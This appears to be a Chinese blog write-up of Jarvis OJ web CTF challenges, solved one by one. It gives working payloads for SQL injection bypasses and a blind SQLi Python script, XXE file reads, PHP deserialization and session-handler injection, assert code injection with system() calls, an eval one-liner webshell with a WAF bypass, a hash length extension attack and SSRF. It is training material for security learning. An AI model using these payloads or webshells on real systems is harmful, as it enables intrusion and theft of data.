Jarvis OJ web writeup

1. Login

在响应头中得到了hint
在这里插入图片描述
也就是说我们post传入的pass经过了md5加密,我们都知道这种登陆问题最常见的payload就是类似于admin'or 1=1#这种,同理我们只要能找到一个md5加密后符合这种类似格式的语句即可,在实验吧当中也有一道相似的题目,最后的payload为ffifdyop,这个字符串经过md5加密后的结果为
在这里插入图片描述
符合上文提到的格式要求,提交后得到flag。

2. LOCALHOST

burp抓包后添加X-Forwarded-For: 127.0.0.1,得到flag。

3. PORT51

这题不知道怎么搞得,使用了curl指令用51端口进行访问也没有得到flag…
在这里插入图片描述
在这里插入图片描述

4. 神盾局的秘密

右键查看元素,看到图片指向了一个包含着任意文件读取的url
在这里插入图片描述
访问一下看看
在这里插入图片描述
而且可以注意到showing.php?img=一个base64加密的文件名,我们尝试一下能不能直接读取flag.php,payload:showing.php?img=ZmxhZy5waHA=
在这里插入图片描述
并不可以…但是我们看到了网页是采取readfile()方法对我们的输入进行处理,也就印证了我们对于任意文件读取类型漏洞的判断,既然没有flag.php,那么再尝试访问一下index.php,payload=showing.php?img=aW5kZXgucGhw
得到
在这里插入图片描述
也就是说需要我们以get的方式传入一个名为class的变量,其内容是一个Shield类,并且会对其进行反序列化操作。但Shield类的构造方式我们未知,再去访问一下shield.php,payload:showimg.php?img=c2hpZWxkLnBocA==
可以得到
在这里插入图片描述
稍微整理一下

<?php
//flag is in pctf.php
class Shield {
	public $file;
	function __construct($filename = '') {
		$this ->file = $filename;
	}
		
	function readfile() {
		if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
			return @file_get_contents($this->file);
		}
	}
}

?>

首先是flag存在于pctf.php当中,然后是Shield类的构造,需要我们传入一个名为file的参数。类中还包含了一个readfile()方法,如果我们传入的file当中不包含..,/,\\则会读取出file的内容,我们直接传入存在flag的pctf.php
在这里插入图片描述
最后的payload为index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}得到flag。

6. IN A Mess

f12查看元素得到提示。
在这里插入图片描述
访问index.phps
在这里插入图片描述
得到了index.php的源码。由题意可知需要我们传入三个变量,分别为$id,$a,$b。首先是对$id变量的处理,$_GET['id']的返回值不可以为0但是$id==0的返回值需要为true,注意到这里用到了连续两个等于号,可以利用php弱类型比较进行绕过,只需要传入一个字符串(string会在进行比较时自动转换为int类型的0)。然后是$a中不能出现'.'file_get_contents()函数是用于将文件的内容读入到一个字符串中的首选方法。利用php://input伪协议可以向$a写入指定的内容(1112 is a nice lab!)。最后对于变量$b,长度需要大于5,然后将111$b的第一个字符拼接起来(eregi()函数在一个字符串搜索指定的模式的字符串),但是$b的第一位又不可以是4,可以联系eregi()函数的%00截断的性质,当eregi()匹配到%00是便不再向下匹配了,如果我们直接传入一个%00开头的数,则eregi当中的匹配便成为了eregi(“111”,“1112”)符合要求,最后的payload为:
在这里插入图片描述
访问一下给出的地址,可以看出是一个sql注入的题目。过滤了空格(/*1*/方式绕过),union和select使用双写绕过。最后的注入语句为

http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seselectlect/*1*/1,2,(seselectlect/*1*/group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database())%23
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seselectlect/*1*/1,2,(seselectlect/*1*/group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*12*/table_name=0x636f6e74656e74)%23
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seselectlect/*1*/1,2,(seselectlect/*1*/context/*1*/frfromom/*1*/content)%23

7. admin

进入题目后只给出了一行Hello World,查看元素和响应头之后并没有得到提示,考虑源码泄露和robots.txt的问题,访问robots.txt,得到提示
在这里插入图片描述
访问admin_s3cr3t.php,得到了一个假flag…
在这里插入图片描述
看一下响应头
在这里插入图片描述
burp抓包修改一下cookie:admin=1,得到flag。

8. api调用(XEE攻击)

一道考察XEE攻击的题目,先了解一下什么是XEE漏洞,XEE漏洞就是XML外部实体注入(XML External Entity),首先要做的是测试一下我们发送的XML内容能否被应用程序所解析,修改一下Content-Type: application/xml,然后定义一个名为’b’外部实体,其内容为’hello’。

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b "hello">]>
<c>&b;</c>

在这里插入图片描述
看到了我们发送的内容已经被解析了,也就印证了XEE漏洞的存在。XML实体中的关键字’SYSTEM’会令XML解析器从url中读取内容,我们就可以利用XML解析器去访问攻击者指定的资源后得到flag。
payload:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">]>
<c>&b;</c>

资料来源:

https://www.freebuf.com/articles/web/126788.html#

9. babyphp

在这里插入图片描述
在about页面当中得到了提示,题目可能涉及git源码泄露的问题,使用工具githack进行探测,在cmd中输入指令
在这里插入图片描述
得到源码
在这里插入图片描述
查看index.php的源码,找到了关键语句。
在这里插入图片描述
我们可以利用assert的任意代码执行漏洞对flag.php的内容进行读取。观察语句assert("file_exists('$file')") or die("That file doesn't exist!");,其中$file的内容是由用户进行输入的,如果我们的输入为')开头的话,便会使得file_exists('语句闭合,之后我们便可以进行恶意代码的执行,payload:?page=') or print_r(file_get_contents('templates/flag.php'));%23或者?page=') or system("cat templates/flag.php");%23,有一点需要注意的是在对语句进行闭合的时候使用#是无效的,可能是因为不被解析的原因,直接使用%23就可以了。

10. Simple Injection

一道考察sql注入的题目,值得注意的是对空格的过滤,可以使用/*1*/进行绕过,然后就是普通的bool类型盲注了,直接贴脚本了

import requests
s=requests.session()
url='http://web.jarvisoj.com:32787/login.php'
c=s.get(url)
key=''
for i in range(1,50):
    print(i)
    for j in range(27,137):
        #ans="admin'='0'||ascii(substr((select/*1*/table_name/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()limit/*1*/1,1),"+str(i)+",1))="+str(j)+"#"
        ans="admin'='0'||ascii(substr((select/*1*/column_name/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name='admin'limit/*1*/0,1),"+str(i)+",1))="+str(j)+"#"
        #ans="admin'='0'||ascii(substr((select/*1*/password/*1*/from/*1*/admin/*1*/limit/*1*/0,1),"+str(i)+",1))="+str(j)+"#"
        payload={'username':ans,'password':'123'}
        c=s.post(url,payload)
        if '密码错误' in c.text:
            key=key+chr(j)
            print(key)

之后得到了:

table_name:admin
column_name:id username password
password:334cfb59c9d74849801d5acdcfdaadc3
将passwordMD5解密后得到:eTAloCrEP

使用密码以admin身份登陆后得到flag。

11. Easy Gallery

在这里插入图片描述
可见这道题目中应当涉及到了多种漏洞,首先gallery应当存在文件上传的功能,尝试一下制作一个一句话图片木马后使用菜刀连接,很可惜失败了。仔细观察一下网站的构架,其url形式为http://web.jarvisoj.com:32785/index.php?page=view,可能存在有任意文件读取的漏洞,,使用一句话<?php @eval($_POST[1])?>制作一句话图片木马进行上传,修改?page后的内容为uploads/xxx.jpg(xxx为图片的id)进行读取,得到错误信息
在这里插入图片描述
原来网站在进行处理的时候会自动加上.php,但是我们想要实现任意文件读取的的文件为.jpg结尾,此时使用%00截断进行绕过,payload:uploads/xxx.jpg,依旧没有得到flag…
在这里插入图片描述
考虑可能是我们的一句话中的内容被waf监测到,故修改一句话木马为<script language="php">@eval($_POST[1])</script>,重新制作一句话图片马,上传访问得到flag。

12. admin

题目要求我们以admin的方式登陆来获得flag,值得注意的点是有两个可疑的cookie值,分别是hah和role
在这里插入图片描述
hah的长度为32,应当是经过hash函数加密的值,role则为guest的序列化输出,尝试将guest字符串md5加密,结果和hah的值并不相同。
考虑收集其余的资源,利用SourceLeakHacker进行源码泄露的探测在这里插入图片描述
访问后得到源码
在这里插入图片描述
内容有点杂乱,整合一下:hah的值是由未知的$salt和cookie中的role值的逆置拼接起来并md5加密得到的,我们已经知道了$salt和guest序列化的值拼接后的md5值,很明显是一个利用hash函数拓展攻击解决的题目,使用hashpump(注意序列化后的逆置问题)
在这里插入图片描述
使用burp抓包修改role和hah的值,得到flag。

13. WEB?

这道题真的是没看出来哪里有破绽,看了大佬们的博客之后才知道关键的问题出在app.js当中(orz),这时我们随便在密码的输入框当中输入数据后得到报错的信息Wrong Password!!,在app.js当中搜索指定的字符串在这里插入图片描述
得知了用于验证密码是否正确的checkpass.json,如果该json的返回值是true的话则返回成功。此时我们在app.js当中搜索checkpass.json后观察其结构
首先是两组数据o和r,然后是判断语句
在这里插入图片描述
可以判断出其是一个二十五元一次的方程组,如果我们输入的数据为方程组的解,则该json的返回值为1。在线解密一下
在这里插入图片描述
在这里插入图片描述
利用python脚本转化为char类型得到flag。

14.PHPINFO

进入题目后看到了一段php语句。
在这里插入图片描述
可以看出有一个名为OowoO的类,内部有一个名为mdzz的公有成员属性,构造任意的OowoO类的对象时便会给此对象的mdzz属性赋值为phpinfo();,执行析构函数时则会调用mdzz,也就是展示phpinfo的内容。
题目的关键点在于开头的一句话当中
在这里插入图片描述
我们可以看到index.php当中使用的session序列化处理器是php,但是在phpinfo()当中session的序列化处理器则为php_serialize,之后的内容就需要学习一下了

http://drops.wooyun.org/tips/3909

漏洞出现在对于不同的序列化处理器,对应的有不同的处理格式,其中常见的有
在这里插入图片描述
此时我们存储session的序列化处理器采用的为php_serialize,如果我们传入的数据为|O:8:"stdClass":0:{}',存储时采用的序列化处理器为php_serialize则存储的格式为a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";},而此时我们读取时采用的序列化处理器为php,反序列化后的内容为array(1) { ["a:1:{s:4:"ryat";s:20:""]=> object(stdClass)#1 (0) {},可以看出我们通过注入|后成功实现了对stdClass的实例化。但是题目本身并没有给我们利用该漏洞的机会,此时可以通过Session Upload Progress实现session的传入。
学习资料:

https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO
https://blog.csdn.net/wy_97/article/details/78430690

当一个上传在处理中,同时POST一个与ini中设置的session.upload_progress.name同名的变量时,当PHP检测到这种POST请求时,会在session中添加一组数据,因此可以通过Session Upload Progress来对session进行设置。
在本地创建index.html来实现对网站post和上传的同时进行。其内容为

<!DOCTYPE html>
<html>
<head>
	<title>test</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" value="go" />
	</form>
</body>
</html>

此时只需要修改file的名称,便可以实现对于session的注入。
接下来就是对于OowoO类的序列化处理。首先读取当前的文件列表。O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
需要注意的是作为注入关键的|的补充和"的转义问题,修改为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
得到关键的文件名称:Here_1s_7he_fl4g_buT_You_Cannot_see.php
在这里插入图片描述
之后对其进行print_r(file_get_contents())读取,获得flag。
在这里插入图片描述

15.inject

提示要先找到源码,使用源码泄露工具扫描一下
在这里插入图片描述
f12得到源码

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

题目的关键点在于闭合时使用的反引号和desc语句,对于desc语句,其可以执行两个参数

{DESCRIBE | DESC} tbl_name [col_name | wild]

我们可以通过闭合语句来进行注入,剩下的就和普通的注入相同了(需要注意的是'被过滤了,查询列名时可以使用16进制编码进行绕过),注入语句为:

http://web.jarvisoj.com:32794/?table=flag`%20`union%20select%20database()limit%201,1
http://web.jarvisoj.com:32794/?table=test`%20`union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()limit%201,1
http://web.jarvisoj.com:32794/?table=test`%20`union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1

库名:61d300
表名:secret_flag,secret_test
列名:flagUwillNeverKnow

16. Chopper

选择以管理员身份登陆,被告知不是admin,f12查看源码后得到提示admin ip is 202.5.19.128
想当然的使用了X-Forwarded-For和Client-Ip后均失败。查看网站首页的图片,观察到菜刀图片的url为proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg考虑到问题的关键可能是在此处修改ip地址后对admin页面进行访问,payload:proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/得到提示
在这里插入图片描述
之后查看robots.txt,得到了关键的网页
在这里插入图片描述
访问第一个没有响应,再访问第二个,也就是第一个网页相关的代码。是一大堆看不懂的颜文字,复制到本地运行一下
在这里插入图片描述
也就是说我们post的360会以eval的方式被执行,我们选择post进去一个phpinfo(),得到flag。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值